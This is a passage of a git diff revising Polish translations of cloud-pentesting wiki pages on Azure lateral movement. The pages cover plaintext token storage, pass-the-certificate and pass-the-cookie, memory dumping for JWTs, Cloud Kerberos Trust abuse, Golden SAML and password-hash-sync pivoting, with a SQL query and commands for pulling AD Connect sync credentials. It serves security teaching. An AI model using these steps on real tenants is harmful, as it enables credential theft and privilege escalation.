-2. **Sekrety usługi principal**: Są przechowywane w formacie niezaszyfrowanym w `AzureRmContext.json`.
-3. **Funkcja zapisywania tokenów**: Użytkownicy mają możliwość utrwalania tokenów za pomocą polecenia `Save-AzContext`, które powinno być używane ostrożnie, aby zapobiec nieautoryzowanemu dostępowi.
+1. **Tokeny Dostępu**: `TokenCache.dat`, znajdujący się w `C:\Users\<username>\.Azure`, przechowuje tokeny dostępu w formacie tekstowym.
+2. **Sekrety Usługi Głównej**: Są one przechowywane w formacie niezaszyfrowanym w `AzureRmContext.json`.
+3. **Funkcja Zapisywania Tokenów**: Użytkownicy mają możliwość utrwalania tokenów za pomocą polecenia `Save-AzContext`, które powinno być używane ostrożnie, aby zapobiec nieautoryzowanemu dostępowi.
 
-## Automatyczne narzędzia do ich znajdowania
+## Automatyczne Narzędzia do Ich Znalezienia
 
 - [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe)
 - [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1)
 
-## Rekomendacje dotyczące bezpieczeństwa
+## Rekomendacje Bezpieczeństwa
 
 Biorąc pod uwagę przechowywanie danych wrażliwych w formacie tekstowym, kluczowe jest zabezpieczenie tych plików i katalogów poprzez:
 
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md
index 3032ff450..acaec02e5 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md
@@ -12,7 +12,7 @@ W super uproszczonych słowach:
 - Klient tworzy nagłówek JSON Web Token (JWT) zawierający PRT i inne szczegóły, podpisuje go za pomocą klucza pochodnego (używając klucza sesji i kontekstu bezpieczeństwa) i **wysyła go do Azure AD**.
 - Azure AD weryfikuje podpis JWT za pomocą klucza sesji klienta i kontekstu bezpieczeństwa, sprawdza ważność PRT i **odpowiada** certyfikatem.
 
-W tym scenariuszu, po zebraniu wszystkich informacji potrzebnych do ataku [**Pass the PRT**](pass-the-prt.md):
+W tym scenariuszu, po zebraniu wszystkich potrzebnych informacji do ataku [**Pass the PRT**](pass-the-prt.md):
 
 - Nazwa użytkownika
 - ID najemcy
@@ -28,7 +28,7 @@ Certyfikaty będą ważne tak samo jak PRT. Aby użyć certyfikatu, możesz skor
 ```bash
 Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
 ```
-## References
+## Odniesienia
 
 - Aby uzyskać więcej informacji na temat działania Pass the Certificate, sprawdź oryginalny post [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
 
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
index 2f62bf4a7..8bb4bb6f3 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
@@ -4,7 +4,7 @@
 
 ## Dlaczego ciasteczka?
 
-Ciasteczka **przeglądarki** to doskonały mechanizm do **obejścia uwierzytelniania i MFA**. Ponieważ użytkownik już uwierzytelnił się w aplikacji, **ciasteczko** sesji może być użyte do **dostępu do danych** jako ten użytkownik, bez potrzeby ponownego uwierzytelniania.
+Ciasteczka **przeglądarki** to doskonały mechanizm do **obejścia uwierzytelniania i MFA**. Ponieważ użytkownik już uwierzytelnił się w aplikacji, sesyjne **ciasteczko** może być użyte do **dostępu do danych** jako ten użytkownik, bez potrzeby ponownego uwierzytelniania.
 
 Możesz zobaczyć, gdzie znajdują się **ciasteczka przeglądarki** w:
 
@@ -14,7 +14,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
 
 ## Atak
 
-Wyzwanie polega na tym, że te **ciasteczka są szyfrowane** dla **użytkownika** za pomocą Microsoft Data Protection API (**DPAPI**). Jest to szyfrowane za pomocą kryptograficznych [kluczy powiązanych z użytkownikiem](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords), do którego należą ciasteczka. Więcej informacji na ten temat znajdziesz w:
+Wyzwanie polega na tym, że te **ciasteczka są szyfrowane** dla **użytkownika** za pomocą Microsoft Data Protection API (**DPAPI**). Jest to szyfrowane przy użyciu kryptograficznych [kluczy powiązanych z użytkownikiem](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords), do którego należą ciasteczka. Więcej informacji na ten temat można znaleźć w:
 
 {{#ref}}
 https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md
index 9cb5f10df..75c32d4bc 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md
@@ -4,7 +4,7 @@
 
 ## **Podstawowe informacje**
 
-Jak wyjaśniono w [**tym filmie**](https://www.youtube.com/watch?v=OHKZkXC4Duw), niektóre oprogramowanie Microsoftu synchronizowane z chmurą (Excel, Teams...) może **przechowywać tokeny dostępu w postaci tekstu jawnego w pamięci**. Więc po prostu **zrzucenie** **pamięci** procesu i **przeszukiwanie pod kątem tokenów JWT** może dać ci dostęp do kilku zasobów ofiary w chmurze, omijając MFA.
+Jak wyjaśniono w [**tym filmie**](https://www.youtube.com/watch?v=OHKZkXC4Duw), niektóre oprogramowanie Microsoftu synchronizowane z chmurą (Excel, Teams...) może **przechowywać tokeny dostępu w postaci tekstu jawnego w pamięci**. Tak więc, po prostu **zrzucenie** **pamięci** procesu i **przeszukiwanie pod kątem tokenów JWT** może dać ci dostęp do kilku zasobów ofiary w chmurze, omijając MFA.
 
 Kroki:
 
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md
index 1a5ec8f29..3cdd37148 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md
@@ -10,7 +10,7 @@
 
 Gdy zaufanie jest ustanowione z Azure AD, **tworzony jest Read Only Domain Controller (RODC) w AD.** **Konto komputera RODC** nosi nazwę **`AzureADKerberos$`**. Ponadto, istnieje drugie konto `krbtgt` o nazwie **`krbtgt_AzureAD`**. To konto zawiera **klucze Kerberos** używane do biletów, które tworzy Azure AD.
 
-Dlatego, jeśli to konto zostanie skompromitowane, możliwe byłoby podszywanie się pod dowolnego użytkownika... chociaż to nie jest prawda, ponieważ to konto jest zapobiegane w tworzeniu biletów dla jakiejkolwiek wspólnej uprzywilejowanej grupy AD, takiej jak Domain Admins, Enterprise Admins, Administrators...
+Dlatego, jeśli to konto zostanie skompromitowane, możliwe byłoby podszywanie się pod dowolnego użytkownika... chociaż to nie jest prawda, ponieważ to konto jest zapobiegane w tworzeniu biletów dla jakiejkolwiek wspólnej grupy uprzywilejowanej AD, takiej jak Domain Admins, Enterprise Admins, Administrators...
 
 > [!CAUTION]
 > Jednak w rzeczywistym scenariuszu będą uprzywilejowani użytkownicy, którzy nie są w tych grupach. Tak więc **nowe konto krbtgt, jeśli zostanie skompromitowane, mogłoby być użyte do podszywania się pod nich.**
@@ -22,13 +22,13 @@ Windows może następnie **wymienić ten częściowy TGT na pełne TGT**, żąda
 
 ### NTLM
 
-Ponieważ mogą istnieć usługi, które nie obsługują uwierzytelniania Kerberos, ale NTLM, możliwe jest zażądanie **częściowego TGT podpisanego za pomocą drugiego klucza `krbtgt`**, w tym pola **`KERB-KEY-LIST-REQ`** w części **PADATA** żądania, a następnie uzyskanie pełnego TGT podpisanego kluczem głównym `krbtgt` **w tym hasz NT w odpowiedzi**.
+Ponieważ mogą istnieć usługi, które nie obsługują uwierzytelniania Kerberos, ale NTLM, możliwe jest zażądanie **częściowego TGT podpisanego przy użyciu drugiego klucza `krbtgt`**, w tym pola **`KERB-KEY-LIST-REQ`** w części **PADATA** żądania, a następnie uzyskanie pełnego TGT podpisanego głównym kluczem `krbtgt`, **w tym NT hash w odpowiedzi**.
 
-## Wykorzystywanie zaufania Cloud Kerberos do uzyskania uprawnień Domain Admin <a href="#abusing-cloud-kerberos-trust-to-obtain-domain-admin" id="abusing-cloud-kerberos-trust-to-obtain-domain-admin"></a>
+## Wykorzystywanie Cloud Kerberos Trust do uzyskania uprawnień Domain Admin <a href="#abusing-cloud-kerberos-trust-to-obtain-domain-admin" id="abusing-cloud-kerberos-trust-to-obtain-domain-admin"></a>
 
-Gdy AzureAD generuje **częściowe TGT**, będzie używać szczegółów, które ma o użytkowniku. Dlatego, jeśli Global Admin mógłby zmodyfikować dane, takie jak **identyfikator zabezpieczeń i nazwa użytkownika w AzureAD**, żądając TGT dla tego użytkownika, **identyfikator zabezpieczeń byłby inny**.
+Gdy AzureAD generuje **częściowe TGT**, będzie używać szczegółów, które ma o użytkowniku. Dlatego, jeśli Global Admin mógłby zmodyfikować dane, takie jak **identyfikator zabezpieczeń i nazwa użytkownika w AzureAD**, przy żądaniu TGT dla tego użytkownika **identyfikator zabezpieczeń byłby inny**.
 
-Nie jest możliwe zrobienie tego przez Microsoft Graph lub Azure AD Graph, ale możliwe jest użycie **API, które używa Active Directory Connect** do tworzenia i aktualizacji synchronizowanych użytkowników, co może być użyte przez Global Adminów do **zmiany nazwy SAM i SID dowolnego użytkownika hybrydowego**, a następnie, jeśli się uwierzytelniamy, otrzymujemy częściowe TGT zawierające zmodyfikowany SID.
+Nie jest możliwe zrobienie tego przez Microsoft Graph lub Azure AD Graph, ale możliwe jest użycie **API, które używa Active Directory Connect** do tworzenia i aktualizowania synchronizowanych użytkowników, co może być użyte przez Global Adminów do **zmiany nazwy SAM i SID dowolnego użytkownika hybrydowego**, a następnie, jeśli się uwierzytelniamy, otrzymujemy częściowe TGT zawierające zmodyfikowany SID.
 
 Zauważ, że możemy to zrobić z AADInternals i zaktualizować synchronizowanych użytkowników za pomocą polecenia [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a).
 
@@ -36,11 +36,11 @@ Zauważ, że możemy to zrobić z AADInternals i zaktualizować synchronizowanyc
 
 Sukces ataku i uzyskanie uprawnień Domain Admin zależy od spełnienia pewnych wymagań wstępnych:
 
-- Możliwość zmiany kont za pomocą Synchronization API jest kluczowa. Można to osiągnąć, mając rolę Global Admin lub posiadając konto synchronizacji AD Connect. Alternatywnie, rola Administratora Tożsamości Hybrydowej byłaby wystarczająca, ponieważ daje możliwość zarządzania AD Connect i ustanawiania nowych kont synchronizacji.
-- Obecność **konta hybrydowego** jest niezbędna. To konto musi być podatne na modyfikację danymi konta ofiary i powinno być również dostępne do uwierzytelnienia.
-- Identyfikacja **docelowego konta ofiary** w Active Directory jest koniecznością. Chociaż atak można przeprowadzić na dowolnym koncie już zsynchronizowanym, tenant Azure AD nie może mieć zreplikowanych lokalnych identyfikatorów zabezpieczeń, co wymaga modyfikacji konta niesynchronizowanego, aby uzyskać bilet.
+- Możliwość zmiany kont za pomocą Synchronization API jest kluczowa. Można to osiągnąć, mając rolę Global Admin lub posiadając konto synchronizacji AD Connect. Alternatywnie, rola Hybrid Identity Administrator byłaby wystarczająca, ponieważ daje możliwość zarządzania AD Connect i ustanawiania nowych kont synchronizacji.
+- Obecność **konta hybrydowego** jest niezbędna. To konto musi być podatne na modyfikację danymi ofiary i powinno być również dostępne do uwierzytelnienia.
+- Identyfikacja **docelowego konta ofiary** w Active Directory jest koniecznością. Chociaż atak można przeprowadzić na dowolnym koncie już zsynchronizowanym, tenant Azure AD nie może mieć zreplikowanych identyfikatorów zabezpieczeń lokalnych, co wymaga modyfikacji konta niesynchronizowanego, aby uzyskać bilet.
 - Dodatkowo, to konto powinno posiadać uprawnienia równoważne uprawnieniom administratora domeny, ale nie powinno być członkiem typowych grup administratorów AD, aby uniknąć generowania nieprawidłowych TGT przez AzureAD RODC.
-- Najlepszym celem jest **konto Active Directory używane przez usługę synchronizacji AD Connect**. To konto nie jest synchronizowane z Azure AD, co czyni jego SID odpowiednim celem, a z racji swojej roli w synchronizacji haszy haseł (zakładając, że synchronizacja haszy haseł jest aktywna) ma z natury uprawnienia równoważne uprawnieniom Domain Admin. Dla domen z ekspresową instalacją, to konto jest poprzedzone **MSOL\_**. W innych przypadkach konto można zidentyfikować, enumerując wszystkie konta obdarzone uprawnieniami replikacji katalogu na obiekcie domeny.
+- Najlepszym celem jest **konto Active Directory używane przez usługę AD Connect Sync**. To konto nie jest synchronizowane z Azure AD, co czyni jego SID odpowiednim celem, a z racji swojej roli w synchronizacji hashy haseł (zakładając, że synchronizacja hashy haseł jest aktywna) ma z natury uprawnienia równoważne uprawnieniom Domain Admin. W przypadku domen z ekspresową instalacją, to konto jest poprzedzone **MSOL\_**. W innych przypadkach konto można zidentyfikować, enumerując wszystkie konta obdarzone uprawnieniami do replikacji katalogu na obiekcie domeny.
 
 ### Pełny atak <a href="#the-full-attack" id="the-full-attack"></a>
 
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md
index 388873533..2b7ca3168 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md
@@ -1,9 +1,9 @@
-# Az - Default Applications
+# Az - Domyślne Aplikacje
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
 **Sprawdź technikę w:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) i [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8)
 
-Post na blogu omawia lukę w eskalacji uprawnień w Azure AD, która pozwala administratorom aplikacji lub skompromitowanym kontom synchronizacji lokalnej na eskalację uprawnień poprzez przypisywanie poświadczeń do aplikacji. Luka, wynikająca z "zaplanowanego" zachowania Azure AD w zakresie obsługi aplikacji i głównych użytkowników usług, szczególnie dotyczy domyślnych aplikacji Office 365. Chociaż zgłoszona, kwestia ta nie jest uważana za lukę przez Microsoft z powodu dokumentacji dotyczącej przypisywania praw administratora. Post dostarcza szczegółowych informacji technicznych i zaleca regularne przeglądy poświadczeń głównych użytkowników usług w środowiskach Azure AD. Aby uzyskać bardziej szczegółowe informacje, możesz odwiedzić oryginalny post na blogu.
+Post na blogu omawia lukę w eskalacji uprawnień w Azure AD, która pozwala Administratorom Aplikacji lub skompromitowanym Kontom Synchronizacji On-Premise na eskalację uprawnień poprzez przypisywanie poświadczeń do aplikacji. Luka, wynikająca z "zaplanowanego" zachowania Azure AD w obsłudze aplikacji i zasad usług, szczególnie dotyczy domyślnych aplikacji Office 365. Chociaż zgłoszona, kwestia ta nie jest uważana za lukę przez Microsoft z powodu dokumentacji dotyczącej przypisywania praw administratora. Post dostarcza szczegółowych informacji technicznych i zaleca regularne przeglądy poświadczeń zasad usług w środowiskach Azure AD. Aby uzyskać bardziej szczegółowe informacje, możesz odwiedzić oryginalny post na blogu.
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md
index 561334028..0cbb1d036 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md
@@ -2,9 +2,9 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Synchronizacja użytkowników AzureAD do on-prem w celu eskalacji z on-prem do AzureAD
+## Synchronizacja użytkowników AzureAD z on-prem w celu eskalacji z on-prem do AzureAD
 
-Aby zsynchronizować nowego użytkownika **z AzureAD do on-prem AD**, należy spełnić następujące wymagania:
+Aby zsynchronizować nowego użytkownika **z AzureAD do on-prem AD**, wymagane są następujące warunki:
 
 - Użytkownik **AzureAD** musi mieć adres proxy (**skrzynkę pocztową**)
 - Licencja nie jest wymagana
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
index 6fde9e8a4..4466c0a60 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
@@ -10,11 +10,11 @@ Możesz **federować swoje lokalne** środowisko **z Azure AD** i używać tej f
 
 <figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
 
-W zasadzie, w Federacji, wszystkie **uwierzytelnienia** odbywają się w **lokalnym** środowisku, a użytkownik doświadcza SSO we wszystkich zaufanych środowiskach. Dlatego użytkownicy mogą **uzyskiwać dostęp** do **aplikacji w chmurze** używając swoich **lokalnych poświadczeń**.
+W zasadzie, w Federacji, wszystkie **uwierzytelnienia** odbywają się w **lokalnym** środowisku, a użytkownik doświadcza SSO we wszystkich zaufanych środowiskach. Dlatego użytkownicy mogą **uzyskiwać dostęp** do aplikacji **chmurowych** używając swoich **lokalnych poświadczeń**.
 
 **Security Assertion Markup Language (SAML)** jest używany do **wymiany** wszystkich informacji o uwierzytelnianiu i autoryzacji między dostawcami.
 
-W każdej konfiguracji federacji są trzy strony:
+W każdej konfiguracji federacyjnej są trzy strony:
 
 - Użytkownik lub Klient
 - Dostawca tożsamości (IdP)
@@ -25,8 +25,8 @@ W każdej konfiguracji federacji są trzy strony:
 <figure><img src="../../../../images/image (121).png" alt=""><figcaption></figcaption></figure>
 
 1. Początkowo aplikacja (Dostawca usług lub SP, taka jak konsola AWS lub klient webowy vSphere) jest dostępna dla użytkownika. Ten krok może być pominięty, prowadząc klienta bezpośrednio do IdP (Dostawca tożsamości) w zależności od konkretnej implementacji.
-2. Następnie SP identyfikuje odpowiedni IdP (np. AD FS, Okta) do uwierzytelnienia użytkownika. Następnie tworzy żądanie AuthnRequest SAML (Security Assertion Markup Language) i przekierowuje klienta do wybranego IdP.
-3. IdP przejmuje, uwierzytelniając użytkownika. Po uwierzytelnieniu, IdP formułuje SAMLResponse i przesyła go do SP przez użytkownika.
+2. Następnie SP identyfikuje odpowiedni IdP (np. AD FS, Okta) do uwierzytelniania użytkownika. Następnie tworzy żądanie AuthnRequest SAML (Security Assertion Markup Language) i przekierowuje klienta do wybranego IdP.
+3. IdP przejmuje kontrolę, uwierzytelniając użytkownika. Po uwierzytelnieniu, IdP formułuje SAMLResponse i przesyła go do SP przez użytkownika.
 4. Na koniec SP ocenia SAMLResponse. Jeśli zostanie pomyślnie zweryfikowany, co oznacza zaufanie do IdP, użytkownik uzyskuje dostęp. To kończy proces logowania, umożliwiając użytkownikowi korzystanie z usługi.
 
 **Jeśli chcesz dowiedzieć się więcej o uwierzytelnianiu SAML i powszechnych atakach, przejdź do:**
@@ -40,7 +40,7 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks
 - AD FS to model tożsamości oparty na roszczeniach.
 - "..roszczenia to po prostu stwierdzenia (na przykład, imię, tożsamość, grupa), dotyczące użytkowników, które są używane głównie do autoryzacji dostępu do aplikacji opartych na roszczeniach znajdujących się wszędzie w Internecie."
 - Roszczenia dla użytkownika są zapisane w tokenach SAML i są następnie podpisywane, aby zapewnić poufność przez IdP.
-- Użytkownik jest identyfikowany przez ImmutableID. Jest globalnie unikalny i przechowywany w Azure AD.
+- Użytkownik jest identyfikowany przez ImmutableID. Jest on globalnie unikalny i przechowywany w Azure AD.
 - ImmutableID jest przechowywany lokalnie jako ms-DS-ConsistencyGuid dla użytkownika i/lub może być wyprowadzony z GUID użytkownika.
 - Więcej informacji w [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
 
@@ -48,8 +48,8 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks
 
 - W ADFS, SAML Response jest podpisywany przez certyfikat podpisywania tokenów.
 - Jeśli certyfikat zostanie skompromitowany, możliwe jest uwierzytelnienie do Azure AD jako DOWOLNY użytkownik zsynchronizowany z Azure AD!
-- Tak jak w przypadku nadużycia PTA, zmiana hasła dla użytkownika lub MFA nie będzie miała żadnego efektu, ponieważ fałszujemy odpowiedź uwierzytelniającą.
-- Certyfikat można wyodrębnić z serwera AD FS z uprawnieniami DA, a następnie można go używać z dowolnej maszyny podłączonej do internetu.
+- Tak jak w przypadku nadużycia PTA, zmiana hasła dla użytkownika lub MFA nie będzie miała żadnego wpływu, ponieważ fałszujemy odpowiedź uwierzytelniającą.
+- Certyfikat może być wyodrębniony z serwera AD FS z uprawnieniami DA, a następnie może być użyty z dowolnej maszyny podłączonej do internetu.
 - Więcej informacji w [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
 
 ### Golden SAML
@@ -60,14 +60,14 @@ Można to porównać z [atakiem na złoty bilet](https://book.hacktricks.xyz/win
 
 Złote SAML oferują pewne zalety:
 
-- Mogą być **tworzone zdalnie**, bez potrzeby bycia częścią domeny lub federacji.
+- Mogą być **tworzone zdalnie**, bez potrzeby bycia częścią domeny lub federacji w danym przypadku.
 - Pozostają skuteczne nawet przy włączonym **uwierzytelnianiu dwuskładnikowym (2FA)**.
 - Prywatny klucz podpisywania **tokenów nie odnawia się automatycznie**.
 - **Zmiana hasła użytkownika nie unieważnia** już wygenerowanego SAML.
 
 #### AWS + AD FS + Golden SAML
 
-[Usługi Federacji Active Directory (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) to usługa Microsoftu, która ułatwia **bezpieczną wymianę informacji o tożsamości** między zaufanymi partnerami biznesowymi (federacja). W zasadzie pozwala usłudze domeny na dzielenie się tożsamościami użytkowników z innymi dostawcami usług w ramach federacji.
+[Usługi federacyjne Active Directory (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) to usługa Microsoftu, która ułatwia **bezpieczną wymianę informacji o tożsamości** między zaufanymi partnerami biznesowymi (federacja). W zasadzie pozwala usłudze domeny na dzielenie się tożsamościami użytkowników z innymi dostawcami usług w ramach federacji.
 
 Z AWS ufającym skompromitowanej domenie (w federacji), ta luka może być wykorzystana do potencjalnego **zdobycia dowolnych uprawnień w środowisku AWS**. Atak wymaga **prywatnego klucza używanego do podpisywania obiektów SAML**, podobnie jak w przypadku potrzeby KRBTGT w ataku na złoty bilet. Dostęp do konta użytkownika AD FS jest wystarczający, aby uzyskać ten prywatny klucz.
 
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
index 55a2fc8e2..3c28d272f 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
@@ -4,24 +4,24 @@
 
 ## Podstawowe informacje
 
-[Z dokumentacji:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Synchronizacja haszy haseł** jest jedną z metod logowania używanych do osiągnięcia hybrydowej tożsamości. **Azure AD Connect** synchronizuje hash, hasza, hasła użytkownika z lokalnej instancji Active Directory do opartej na chmurze instancji Azure AD.
+[Z dokumentacji:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Synchronizacja haszy haseł** jest jedną z metod logowania używanych do realizacji tożsamości hybrydowej. **Azure AD Connect** synchronizuje hash, hasza, hasła użytkownika z lokalnej instancji Active Directory do opartej na chmurze instancji Azure AD.
 
 <figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
 
 To **najczęściej stosowana metoda** używana przez firmy do synchronizacji lokalnego AD z Azure AD.
 
-Wszystkie **użytkownicy** oraz **hash haszy haseł** są synchronizowane z lokalnego AD do Azure AD. Jednak **hasła w postaci czystego tekstu** ani **oryginalne** **hasze** nie są wysyłane do Azure AD.\
-Co więcej, **Wbudowane** grupy zabezpieczeń (jak administratorzy domeny...) **nie są synchronizowane** z Azure AD.
+Wszystkie **użytkownicy** oraz **hash haseł** są synchronizowane z lokalnego AD do Azure AD. Jednak **hasła w postaci czystego tekstu** ani **oryginalne** **hasze** nie są wysyłane do Azure AD.\
+Ponadto, **Wbudowane** grupy zabezpieczeń (jak administratorzy domeny...) **nie są synchronizowane** z Azure AD.
 
-**Synchronizacja haszy** odbywa się co **2 minuty**. Jednak domyślnie **wygasanie haseł** i **wygasanie kont** **nie są synchronizowane** w Azure AD. Tak więc użytkownik, którego **lokalne hasło wygasło** (nie zmienione), może nadal **uzyskiwać dostęp do zasobów Azure** za pomocą starego hasła.
+**Synchronizacja hashy** odbywa się co **2 minuty**. Jednak domyślnie **wygasanie haseł** i **wygasanie kont** **nie są synchronizowane** w Azure AD. Tak więc użytkownik, którego **lokalne hasło wygasło** (nie zostało zmienione), może nadal **uzyskiwać dostęp do zasobów Azure** za pomocą starego hasła.
 
 Gdy lokalny użytkownik chce uzyskać dostęp do zasobu Azure, **uwierzytelnienie odbywa się w Azure AD**.
 
-**PHS** jest wymagany do funkcji takich jak **Ochrona tożsamości** i usługi domenowe AAD.
+**PHS** jest wymagane dla funkcji takich jak **Ochrona tożsamości** i usługi domenowe AAD.
 
 ## Pivoting
 
-Gdy PHS jest skonfigurowany, niektóre **uprzywilejowane konta** są automatycznie **tworzone**:
+Gdy PHS jest skonfigurowane, niektóre **uprzywilejowane konta** są automatycznie **tworzone**:
 
 - Konto **`MSOL_<installationID>`** jest automatycznie tworzone w lokalnym AD. To konto otrzymuje rolę **Konta synchronizacji katalogu** (zobacz [dokumentację](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), co oznacza, że ma **uprawnienia replikacji (DCSync) w lokalnym AD**.
 - Konto **`Sync_<nazwa lokalnego serwera ADConnect>_installationID`** jest tworzone w Azure AD. To konto może **resetować hasło DOWOLNEGO użytkownika** (synchronizowanego lub tylko w chmurze) w Azure AD.
@@ -29,11 +29,11 @@ Gdy PHS jest skonfigurowany, niektóre **uprzywilejowane konta** są automatyczn
 Hasła dwóch poprzednich uprzywilejowanych kont są **przechowywane w serwerze SQL** na serwerze, na którym **zainstalowano Azure AD Connect.** Administratorzy mogą wydobyć hasła tych uprzywilejowanych użytkowników w postaci czystego tekstu.\
 Baza danych znajduje się w `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
 
-Możliwe jest wydobycie konfiguracji z jednej z tabel, będącej jedną zaszyfrowaną:
+Możliwe jest wydobycie konfiguracji z jednej z tabel, z których jedna jest zaszyfrowana:
 
 `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
 
-**Zaszyfrowana konfiguracja** jest zaszyfrowana za pomocą **DPAPI** i zawiera **hasła użytkowników `MSOL_*`** w lokalnym AD oraz hasło **Sync\_\*** w AzureAD. Dlatego kompromitując te hasła, możliwe jest uzyskanie podwyższonych uprawnień do AD i AzureAD.
+**Zaszyfrowana konfiguracja** jest szyfrowana za pomocą **DPAPI** i zawiera **hasła użytkowników `MSOL_*`** w lokalnym AD oraz hasło **Sync\_\*** w AzureAD. Dlatego kompromitując te dane, możliwe jest uzyskanie podwyższonych uprawnień do AD i AzureAD.
 
 Możesz znaleźć [pełny przegląd tego, jak te poświadczenia są przechowywane i odszyfrowywane w tej prezentacji](https://www.youtube.com/watch?v=JEIR5oGCwdg).
 
@@ -56,8 +56,8 @@ Get-AADIntSyncCredentials
 runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
